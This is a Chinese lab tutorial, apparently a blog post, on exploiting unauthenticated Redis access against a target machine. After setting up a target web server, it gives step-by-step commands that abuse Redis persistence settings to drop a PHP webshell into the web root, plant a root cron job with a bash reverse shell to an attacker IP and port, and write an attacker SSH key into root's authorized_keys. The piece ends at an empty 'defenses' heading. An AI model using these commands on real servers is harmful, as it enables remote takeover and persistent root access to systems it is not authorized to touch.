• 作者:老汪软件
  • 发表时间:2023-12-30 03:00
  • 浏览量:

yum install httpd -y

(2)下载客户端。

yum install curl -y

(3)关闭防火墙。

systemctl stop firewalld.service
systemctl disable firewalld.service

(4)安装php服务

yum install php libapache2-mod-php

(5)启动服务

systemctl start httpd

进入得网站的根目录 /var/www/html ,创建一个 index.html ,简单写一个前端:




    
    
    欢迎访问我们的网站
    


    

欢迎访问我们的网站

感谢您光临我们的网站。我们致力于提供优质的服务和内容。

了解更多信息,请访问我们的 关于页面

3.3 准备Redis客户机

这里用Redis客户机模拟攻击机。为了方便起见,可以将上面配置好的Redis服务器虚拟机复制一份作为攻击机。

修改攻击机ip,保证攻击机ip与服务器ip不同:

vi /etc/sysconfig/network-scripts/ifcfg-ens33

修改其中的作为攻击机ip地址。为保证实验稳定性,将 的值改为,保证ip不会改变。服务器如果是dhcp也需改为静态。

在服务端已经准备完毕的情况下,连接Redis:

redis-cli -h <填写服务机的ip> -p 6379

3.4 环境测试

攻击机成功连接Redis后,尝试输入一些命令查看能否回显成功。

Redis未授权访问漏洞实验

在同一个局域网内用另一个主机访问搭建好的网站(直接输入服务机ip),查看能否访问。

Redis未授权访问漏洞实验

4 Redis 持久化机制

Redis 使用两种主要的持久化机制来确保数据在重启或故障恢复时不丢失:RDB快照和AOF日志。

RDB快照(Redis ):

RDB是一种周期性将内存中的数据快照保存到磁盘上的机制,是一种紧凑的二进制文件,用于备份和恢复数据。可以配置Redis在不同的时间点生成RDB快照,例如,可以每隔一段时间自动创建一个快照,或者通过命令手动创建。

AOF日志(-Only File):

AOF日志是一种追加写入的日志文件,它记录了Redis服务器接收的每个写操作命令。AOF日志使Redis可以在重启时重新执行这些命令,从而实现数据的持久化。可以选择将AOF日志设置为不同的同步模式,例如,每次写操作都同步到磁盘,或者按一定时间间隔同步。

Redis还提供了一种混合持久化的方式,即同时启用RDB快照和AOF日志。这样,即使在意外重启时,仍然可以使用RDB来快速恢复数据,同时使用AOF来保证更精确的数据完整性。

要配置Redis的持久化机制,需要编辑Redis的配置文件(通常是redis.conf),并相应地调整以下配置选项:

持久化机制的选择取决于具体的需求和应用场景。如果需要更高的数据完整性和可靠性,可以选择使用AOF,但需要考虑性能开销。如果对性能要求更高,可以只使用RDB,但在某些情况下可能会有一些数据丢失。

5 提权 5.1 上传木马

如果攻击者已经知道网站根目录的位置,可以将Redis持久化数据文件存储目录设置到这个路径,将一句话木马写入网站根目录中。

攻击机连接到Redis服务器后,输入以下命令:

config set dir /var/www/html
config set dbfilename shell.php
set x ""
save

解释:

set dir /var/www/html 用于配置Redis的持久化数据文件存储目录。它将持久化数据文件的存储路径设置为/var/www/html,这是网站根目录的位置。

set shell.php:用于配置Redis的持久化数据文件的文件名。它将持久化数据文件的文件名设置为shell.php,这是一个PHP脚本文件的名称。

set x "":将一个名为"x"的键的值设置为一个一句话木马。

save 用于触发Redis的持久化操作,将当前内存中的数据保存到磁盘上的持久化数据文件中。在这种情况下,它将保存包含上述PHP 的数据到指定的目录和文件中。

上面命令的目的是将一个PHP 注入到Redis的持久化数据文件中,然后将该文件存储在指定的网站根目录下。允许攻击者执行恶意操作并获取对网站的控制权。

5.2 检验

在服务端的网站根路径下,查看木马是否成功上传:

打开蚁剑,能够连接到网站并执行命令。

Redis未授权访问漏洞实验

Redis未授权访问漏洞实验

6 反弹连接 6.1 反弹连接原理

反弹连接是指攻击者通过漏洞或恶意软件在目标计算机上建立一个与自己控制的远程服务器的连接,从而实现对目标计算机的远程控制。这种连接通常是“反向”的,因为它不是目标计算机主动连接攻击者的服务器,而是相反,攻击者的服务器主动连接到目标计算机,绕过了常规网络防火墙的检测。一旦建立了反弹连接,攻击者可以执行各种操作,包括执行命令、窃取数据、植入恶意软件等,从而对目标系统进行操控。

不适合正向连接的情况:

反弹连接流程:

常见的建立反弹连接的恶意代码有很多,这里不再一一介绍。本实验采用常见的bash反弹连接:

bash -i >& /dev/tcp/(攻击机ip)/(攻击机监听的端口) 0>&1

前面bash -i 表示启动一个交互式的 Bash shell,该 shell 将用于与靶机建立连接。

>&将标准错误输出合并到标准输出中。

/dev/tcp/(攻击机ip)/(攻击机监听的端口) 这部分使用 Bash 的特性,尝试将 Bash shell 的输入和输出重定向到攻击者的机器的指定 IP 地址和端口。这意味着攻击者试图建立到指定 IP 地址和端口的网络连接,并将连接的输入和输出与 Bash shell 相关联,以便远程控制靶机。

0>&1 将标准输入(文件描述符 0)重定向到标准输出(文件描述符 1),确保 shell 的输入和输出都被连接到网络连接上。实现在靶机上执行命令。

上面命令在靶机上打开一个交互式bash终端,和攻击机建立远程连接,把终端发给控制机,在控制机上输入命令,攻击者可以在靶机上执行命令并得到这些命令的执行结果。

6.2 Redis建立反弹连接

首先在攻击机上监听一个端口,这里监听的是7777端口:

nc -lvp 7777

Redis未授权访问漏洞实验

攻击机上连接到靶机Redis,执行下面的命令:

flushall
set x "\n* * * * * bash -i >& /dev/tcp/(攻击机ip)/7777 0>&1\n"
config set dir /var/spool/cron/
config set dbfilename root
save

Redis未授权访问漏洞实验

解释:

用于清空Redis数据库的数据。

set x "\n* * * * * bash -i >& /dev/tcp/(攻击机ip)/7777 0>&1\n" x的值设为恶意命令,创建一个计划任务(cron job),每分钟执行一次一个 Bash 命令,将 Bash 的输出和错误输出重定向到指定的 IP 地址和端口,以远程连接攻击者的机器。

后面两个命令和上一个实验一样,修改Redis 的持久化目录。/var/spool/cron/ 是用于存储与定时任务相关的文件目录。持久化文件的名称设置为 "root",可以试图混淆系统管理员,让他们认为这个持久化文件是与 root 用户相关的。

6.3 检验

一分钟后查看监听的终端:

Redis未授权访问漏洞实验

看到Ncat已经连接到了靶机。

ln -s /usr/sbin/ifconfig /usr/bin/ifconfig
ifconfig

成功连接后就可以在靶机尝试执行各种命令了。

7 SSH keys 免密登录

SSH keys 免密登录是通过使用 SSH( Shell)协议中的密钥对来实现无需输入密码即可登录到远程服务器的一种方式。

这样的机制允许用户在不输入密码的情况下通过 SSH 安全地登录到远程服务器。这对于自动化任务、脚本执行或减少手动输入密码的需求非常有用。

攻击者可以自己生成一个公钥和私钥,利用Redis连接将公钥上传到靶机的指定目录,此时攻击者就可以利用生成好的私钥进行对靶机的免密远程登录。

首先在靶机的根目录下创建 .ssh 空文件(如果没有的话)。

在攻击机上,输入命令生成公钥和私钥:

ssh-keygen

可以看到在当前目录下生成了一个 .ssh 隐藏文件。

Redis未授权访问漏洞实验

进入到文件中可以看到生成的公钥和私钥:

然后将生成的公钥复制下来:

下一步需要利用Redis持久化机制,将我们生成的公钥传到靶机的指定目录,攻击机上连接到靶机Redis后输入命令:

set x "\n\n(填入公钥)\n\n\n"
config set dir /root/.ssh
config set dbfilename authorized_keys
save

写入成功后,尝试用自己的私钥连接靶机:

ssh -i ./id_rsa root@(靶机ip)

Redis未授权访问漏洞实验

​​​​​​​

忽略安全提示,直接输入yes继续连接,成功远程连接到靶机。

8 防范措施